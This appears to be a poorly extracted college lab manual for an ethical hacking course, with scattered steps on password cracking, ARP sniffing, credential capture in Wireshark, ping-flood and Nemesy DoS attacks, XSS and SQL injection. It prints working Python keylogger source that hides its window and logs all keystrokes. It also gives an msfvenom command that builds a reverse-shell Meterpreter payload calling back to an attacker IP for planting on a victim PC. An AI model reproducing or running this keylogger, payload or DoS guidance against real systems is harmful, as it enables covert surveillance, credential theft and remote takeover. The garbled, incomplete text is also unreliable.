Practical Manual of Ethical Hacking TYBSC CS
Practical Manual of Ethical Hacking TYBSC CS
B) Use Cain and Abel for cracking Windows account password using Dictionary
3. A) Run and analyze the output of following commands in Linux – ifconfig, ping,
netstat, traceroute
4. Use NMap scanner to perform port scanning of various forms – ACK, SYN, FIN,
PRACTICAL NO.1
Step 2: Enter the website name and hit the “Enter button”.
Step 3: Show
you
information
about
www.google.co.in
Rizvi College of Arts, Science and Commerce, Bandra
TYB.SC CS 6th SemEthical HackingDr. Ruchi Gupta
Rizvi College of Arts, Science and Commerce, Bandra
TYB.SC CS 6th SemEthical HackingDr. Ruchi Gupta
Rizvi College of Arts, Science and Commerce, Bandra
TYB.SC CS 6th SemEthical HackingDr. Ruchi Gupta
Rizvi College of Arts, Science and Commerce, Bandra
TYB.SC CS 6th SemEthical HackingDr. Ruchi Gupta
PRACTICAL NO. 2
2.1) Use CryptTool to encrypt and decrypt passwords using RC4 algorithm.
Step 1:
Step 2:
● Click Encrypt/Decrypt Tab
● Select Symmetric (Modern)
● Using RC4.
2.2) Use Cain and Abel for cracking Windows account password using Dictionary attack and to
decode wireless network passwords
Step 2:- Enter the password to convert into hash Paste the value into the field you have converted
e.g(MD5)
Rizvi College of Arts, Science and Commerce, Bandra
TYB.SC CS 6th SemEthical HackingDr. Ruchi Gupta
Step 3:- Right Click on the hash and select the dictionary attack
Step 4:- Then right click on the file and select (Add to List) and then select the Wordlist
Step 5:- Select all the options and start the dictionary attack
Rizvi College of Arts, Science and Commerce, Bandra
TYB.SC CS 6th SemEthical HackingDr. Ruchi Gupta
PRACTICAL NO. 3
3.1) Using Traceroute, ping, ifconfig, netstat Command
connections, overall and protocol-specific networking statistics, and much more, all of which could
help troubleshoot certain kinds of networking issues.
Syntax
netstat [-a] [-b] [-e] [-f] [-n] [-o] [-p protocol] [-r] [-s] [-t] [-x] [-y] [time_interval] [/?]
On Linux
Rizvi College of Arts, Science and Commerce, Bandra
TYB.SC CS 6th SemEthical HackingDr. Ruchi Gupta
Activate sniffer
Step 4: click on + icon. Check all tests checkbox and then click ok
Rizvi College of Arts, Science and Commerce, Bandra
TYB.SC CS 6th SemEthical HackingDr. Ruchi Gupta
.Step 5: click on APR then click on blank screen and then click on the + icon. Select any IP
address(IPv4 address)
Step 6: select all the IP address and MAC address and then click on OK
Step 9: Go to password option in the cain & abel and see the visited site password.
Rizvi College of Arts, Science and Commerce, Bandra
TYB.SC CS 6th SemEthical HackingDr. Ruchi Gupta
PRACTICAL NO. 4
AIM: Using Nmap scanner to perform port scanning of various forms – ACK, SYN, FIN,
NULL, and XMAS.
NOTE: Install Nmap for windows and install it. After that open cmd and type “nmap” to check if it
is installed properly. Now type the below commands.
#nmap ip address
PRACTCAL NO. 5
5.1) Use WireShark sniffer to capture
network traffic and analyze.
Step 1: Install and open WireShark.
Step 5: Open a website in a new window and enter the user id and password. Register if needed.
Step 8: Select filter as http to make the search easier and click on apply.
Rizvi College of Arts, Science and Commerce, Bandra
TYB.SC CS 6th SemEthical HackingDr. Ruchi Gupta
Step 10: Find the post methods for username and passwords.
Step 11: U will see the email- id and password that you used to log in.
Rizvi College of Arts, Science and Commerce, Bandra
TYB.SC CS 6th SemEthical HackingDr. Ruchi Gupta
For this example, we are using Mobile Broadband connection details. Take note of the IP address.
Note: for this example to be more effective, and you must use a LAN network.
● Switch to the computer that you want to use for the attack and open the command prompt.
● We will ping our victim computer with infinite data packets of 65500.
● Enter the following command
ping 10.128.131.108 –t |65500
HERE,
● “ping” sends the data packets to the victim
● “10.128.131.108” is the IP address of the victim
● “-t” means the data packets should be sent until the program is stopped
● “-l” specifies the data load to be sent to the victim
You will get results similar to the ones shown below
Flooding the target computer with data packets doesn’t have much effect on the victim. In order for the
attack to be more effective, you should attack the target computer with pings from more than one
computer.
Rizvi College of Arts, Science and Commerce, Bandra
TYB.SC CS 6th SemEthical HackingDr. Ruchi Gupta
The above attack can be used to attacker routers, web servers etc.
If you want to see the effects of the attack on the target computer, you can open the task manager and
view the network activities.
If the attack is successful, you should be able to see increased network activities.
● Hacking Activity: Launch a DOS attack
In this practical scenario, we are going to use Nemesy to generate data packets and flood the target
computer, router or server. As stated above, Nemesy will be detected as an illegal program by your
anti-virus. You will have to disable the anti-virus for this exercise.
Enter the target IP address, in this example; we have used the target IP we used in the above example.
HERE,
● 0 as the number of packets means infinity. You can set it to the desired number if you do not
want to send, infinity data packets
● The size field specifies the data bytes to be sent and the delay specifies the time interval in
milliseconds.
The title bar will show you the number of packets sent
Click on halt button to stop the program from sending data packets.
You can monitor the task manager of the target computer to see the network activities.
Rizvi College of Arts, Science and Commerce, Bandra
TYB.SC CS 6th SemEthical HackingDr. Ruchi Gupta
PRACTICAL No. 6
AIM: Simulate persistent cross-site scripting attack
Step 1: Open XAMPP and start apache and mysql
Step 2: Go to Localhost: 8080/setup.php and login using username: admin; password: password.
Rizvi College of Arts, Science and Commerce, Bandra
TYB.SC CS 6th SemEthical HackingDr. Ruchi Gupta
Step 4: Once logged in we want to navigate to the DVWA Security tab, select “Low” in the
drop-down box, and hit Submit.
OUTPUT
Rizvi College of Arts, Science and Commerce, Bandra
TYB.SC CS 6th SemEthical HackingDr. Ruchi Gupta
PRACTICAL NO. 8
AIM: Perform SQL injection attack.
Rizvi College of Arts, Science and Commerce, Bandra
TYB.SC CS 6th SemEthical HackingDr. Ruchi Gupta
Step 1: Open XAMPP and start apache and mysql and Go to web browser and enter site
http://localhost/phpmyadmin/
win = win32console.GetConsoleWindow()
win32gui.ShowWindow(win, 0)
def OnKeyboardEvent(event):
if event.Ascii==5:
_exit(1)
if event.Ascii !=0 or 8:
#open output.txt to read current keystrokes
f = open('c:\output.txt', 'r+')
buffer = f.read()
f.close()
# open output.txt to write current + new keystrokes
f = open('c:\output.txt', 'w')
keylogs = chr(event.Ascii)
if event.Ascii == 13:
keylogs = '/n'
buffer += keylogs
f.write(buffer)
f.close()
# create a hook manager object
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
# set the hook
hm.HookKeyboard()
# wait forever
pythoncom.PumpMessages()
Save the file in C:\ as Keylogger.py and run the python file
Output:
The keylogger will be started in the background and save all the data on the log file “c:\output.txt”.
Keylogger in Linux
pyxhook requires python-xlib. Install it if you don’t have it already.
In Terminal Type:-
$sudo apt-get update
$sudo apt-get install python-xlib
$sudo apt install python-pip
$pip install pyxhook
Output:
The keylogger will be started in the background and save all the data on the file.log file
“/home/akash/Desktop”.
PRACTICAL NO. 10
AIM: Using Metasploit to exploit
Step 1:
● Once you open the Metasploit console, you will get to see the following screen. Highlighted in red
underline is the version of Metasploit.
Step 3: use following command to install Metasploit-framework. After running this command, you will
have to wait several minutes until the update completes.
apt install metasploit-framework
apt
update
Step 4: First we Create payload using command line in Kali Linux
root@kali:~# msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.43.159 lport=4444 -f exe -a
x86 > Hack.exe
After successfully creating payload Hack.exe, copy that payload in to the victim’s PC (Windows).
successful exploit
Step
9:
capture the session on remote host type the command screenshot its capture the victim Pc screenshot and save in root
directory.
Capture output